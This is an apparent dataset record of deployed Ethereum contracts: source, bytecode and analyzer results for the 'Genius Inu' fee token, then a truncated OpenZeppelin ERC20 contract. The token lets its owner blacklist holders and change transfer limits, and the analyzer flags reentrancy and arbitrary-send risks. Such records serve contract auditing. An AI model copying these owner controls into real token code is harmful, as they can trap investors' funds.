0xf279ff664eaa5b6d5611040e93c482bdd91462f2
|
/**
//SPDX-License-Identifier: UNLICENSED
Genius Inu - GENIUS
Telegram: https://t.me/GeniusInuPortal
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GENIUS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 11;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Genius Inu";
string private constant _symbol = "GENIUS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 20_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf91461049f578063d94160e0146104b4578063dd62ed3e146104e4578063f42938901461052a57600080fd5b8063b515566a1461043f578063c02466681461045f578063c0a904a21461047f57600080fd5b8063715018a61461037d57806381bfdcca1461039257806389f425e7146103b25780638da5cb5b146103d257806395d89b41146103f0578063a9059cbb1461041f57600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102ed5780635932ead11461031d578063677daa571461033d57806370a082311461035d57600080fd5b8063313ce5671461028457806349bd5a5e146102a057806351bc3c85146102d857600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f657806318160ddd1461022657806323b872dd14610242578063273123b71461026257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600a81526947656e69757320496e7560b01b60208201525b6040516101b19190611d05565b34801561020257600080fd5b50610216610211366004611b96565b61053f565b60405190151581526020016101b1565b34801561023257600080fd5b50683635c9adc5dea000006101a7565b34801561024e57600080fd5b5061021661025d366004611b29565b610556565b34801561026e57600080fd5b5061028261027d366004611ab9565b6105bf565b005b34801561029057600080fd5b50604051600981526020016101b1565b3480156102ac57600080fd5b506011546102c0906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e457600080fd5b50610282610613565b3480156102f957600080fd5b50610216610308366004611ab9565b60056020526000908152604090205460ff1681565b34801561032957600080fd5b50610282610338366004611c88565b61064c565b34801561034957600080fd5b50610282610358366004611cc0565b610694565b34801561036957600080fd5b506101a7610378366004611ab9565b6106c3565b34801561038957600080fd5b506102826106e5565b34801561039e57600080fd5b506102826103ad366004611cc0565b610759565b3480156103be57600080fd5b506102826103cd366004611cc0565b610788565b3480156103de57600080fd5b506000546001600160a01b03166102c0565b3480156103fc57600080fd5b5060408051808201909152600681526547454e49555360d01b60208201526101e9565b34801561042b57600080fd5b5061021661043a366004611b96565b6107b7565b34801561044b57600080fd5b5061028261045a366004611bc1565b6107c4565b34801561046b57600080fd5b5061028261047a366004611b69565b610868565b34801561048b57600080fd5b5061028261049a366004611b69565b6108bd565b3480156104ab57600080fd5b50610282610912565b3480156104c057600080fd5b506102166104cf366004611ab9565b60066020526000908152604090205460ff1681565b3480156104f057600080fd5b506101a76104ff366004611af1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053657600080fd5b50610282610cfd565b600061054c338484610d27565b5060015b92915050565b6000610563848484610e4b565b6105b584336105b085604051806060016040528060288152602001611ed6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611291565b610d27565b5060019392505050565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016105e990611d58565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063357600080fd5b600061063e306106c3565b9050610649816112cb565b50565b6000546001600160a01b031633146106765760405162461bcd60e51b81526004016105e990611d58565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106be5760405162461bcd60e51b81526004016105e990611d58565b601255565b6001600160a01b03811660009081526002602052604081205461055090611470565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105e990611d58565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107835760405162461bcd60e51b81526004016105e990611d58565b601355565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016105e990611d58565b600b55565b600061054c338484610e4b565b6000546001600160a01b031633146107ee5760405162461bcd60e51b81526004016105e990611d58565b60005b81518110156108645760016007600084848151811061082057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085c81611e6b565b9150506107f1565b5050565b6000546001600160a01b031633146108925760405162461bcd60e51b81526004016105e990611d58565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016105e990611d58565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016105e990611d58565b601154600160a01b900460ff16156109965760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e9565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d33082683635c9adc5dea00000610d27565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0c57600080fd5b505afa158015610a20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a449190611ad5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8c57600080fd5b505afa158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac49190611ad5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0c57600080fd5b505af1158015610b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b449190611ad5565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610ba8816106c3565b600080610bbd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c2057600080fd5b505af1158015610c34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c599190611cd8565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc557600080fd5b505af1158015610cd9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190611ca4565b600e546001600160a01b0316336001600160a01b031614610d1d57600080fd5b47610649816114f4565b6001600160a01b038316610d895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e9565b6001600160a01b038216610dea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eaf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e9565b6001600160a01b038216610f115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e9565b80610f1b846106c3565b1015610f785760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105e9565b6000546001600160a01b03848116911614801590610fa457506000546001600160a01b03838116911614155b15611281576001600160a01b03831660009081526007602052604090205460ff16158015610feb57506001600160a01b03821660009081526007602052604090205460ff16155b610ff457600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104d57506011546001600160a01b03848116911614801561104d57506001600160a01b03821660009081526006602052604090205460ff16155b156110ba576012548111156110ba5760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105e9565b6001600160a01b03821660009081526006602052604090205460ff1661115357601354816110e7846106c3565b6110f19190611dfd565b11156111535760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105e9565b6011546001600160a01b03848116911614801561117e57506010546001600160a01b03838116911614155b80156111a357506001600160a01b03821660009081526005602052604090205460ff16155b80156111b85750601154600160b81b900460ff165b15611206576001600160a01b03821660009081526008602052604090205442116111e157600080fd5b6111ec42603c611dfd565b6001600160a01b0383166000908152600860205260409020555b6000611211306106c3565b601154909150600160a81b900460ff1615801561123c57506011546001600160a01b03858116911614155b80156112515750601154600160b01b900460ff165b801561125f5750600b548110155b1561127f5761126d816112cb565b47801561127d5761127d476114f4565b505b505b61128c838383611579565b505050565b600081848411156112b55760405162461bcd60e51b81526004016105e99190611d05565b5060006112c28486611e54565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137557600080fd5b505afa158015611389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ad9190611ad5565b816001815181106113ce57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f49130911684610d27565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d8d565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e9565b60006114e1611584565b90506114ed83826115a7565b9392505050565b600e546001600160a01b03166108fc61150e8360026115a7565b6040518115909202916000818181858888f19350505050158015611536573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6115518360026115a7565b6040518115909202916000818181858888f19350505050158015610864573d6000803e3d6000fd5b61128c8383836115e9565b60008060006115916117a9565b90925090506115a082826115a7565b9250505090565b60006114ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117eb565b6000806000806000806115fb87611819565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162d9087611876565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167857506001600160a01b03881660009081526005602052604090205460ff165b15611701576001600160a01b0388166000908152600260205260409020546116a090876118b8565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f4908b815260200190565b60405180910390a361179e565b6001600160a01b03881660009081526002602052604090205461172490866118b8565b6001600160a01b03891660009081526002602052604090205561174681611917565b6117508483611961565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179591815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c582826115a7565b8210156117e257505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361180c5760405162461bcd60e51b81526004016105e99190611d05565b5060006112c28486611e15565b60008060008060008060008060006118368a600c54600d54611985565b9250925092506000611846611584565b905060008060006118598e8787876119da565b919e509c509a509598509396509194505050505091939550919395565b60006114ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611291565b6000806118c58385611dfd565b9050838110156114ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e9565b6000611921611584565b9050600061192f8383611a2a565b3060009081526002602052604090205490915061194c90826118b8565b30600090815260026020526040902055505050565b60095461196e9083611876565b600955600a5461197e90826118b8565b600a555050565b600080808061199f60646119998989611a2a565b906115a7565b905060006119b260646119998a89611a2a565b905060006119ca826119c48b86611876565b90611876565b9992985090965090945050505050565b60008080806119e98886611a2a565b905060006119f78887611a2a565b90506000611a058888611a2a565b90506000611a17826119c48686611876565b939b939a50919850919650505050505050565b600082611a3957506000610550565b6000611a458385611e35565b905082611a528583611e15565b146114ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e9565b8035611ab481611eb2565b919050565b600060208284031215611aca578081fd5b81356114ed81611eb2565b600060208284031215611ae6578081fd5b81516114ed81611eb2565b60008060408385031215611b03578081fd5b8235611b0e81611eb2565b91506020830135611b1e81611eb2565b809150509250929050565b600080600060608486031215611b3d578081fd5b8335611b4881611eb2565b92506020840135611b5881611eb2565b929592945050506040919091013590565b60008060408385031215611b7b578182fd5b8235611b8681611eb2565b91506020830135611b1e81611ec7565b60008060408385031215611ba8578182fd5b8235611bb381611eb2565b946020939093013593505050565b60006020808385031215611bd3578182fd5b823567ffffffffffffffff80821115611bea578384fd5b818501915085601f830112611bfd578384fd5b813581811115611c0f57611c0f611e9c565b8060051b604051601f19603f83011681018181108582111715611c3457611c34611e9c565b604052828152858101935084860182860187018a1015611c52578788fd5b8795505b83861015611c7b57611c6781611aa9565b855260019590950194938601938601611c56565b5098975050505050505050565b600060208284031215611c99578081fd5b81356114ed81611ec7565b600060208284031215611cb5578081fd5b81516114ed81611ec7565b600060208284031215611cd1578081fd5b5035919050565b600080600060608486031215611cec578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d3157858101830151858201604001528201611d15565b81811115611d425783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ddc5784516001600160a01b031683529383019391830191600101611db7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1057611e10611e86565b500190565b600082611e3057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e4f57611e4f611e86565b500290565b600082821015611e6657611e66611e86565b500390565b6000600019821415611e7f57611e7f611e86565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064957600080fd5b801515811461064957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b017f05ac1c227d2c671bdfc969d88795ac0bc9574ef0837ca92e9333ca58abf64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,358 |
0xcc3242071102692cbb9b33e485bf9016b8ccf854
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
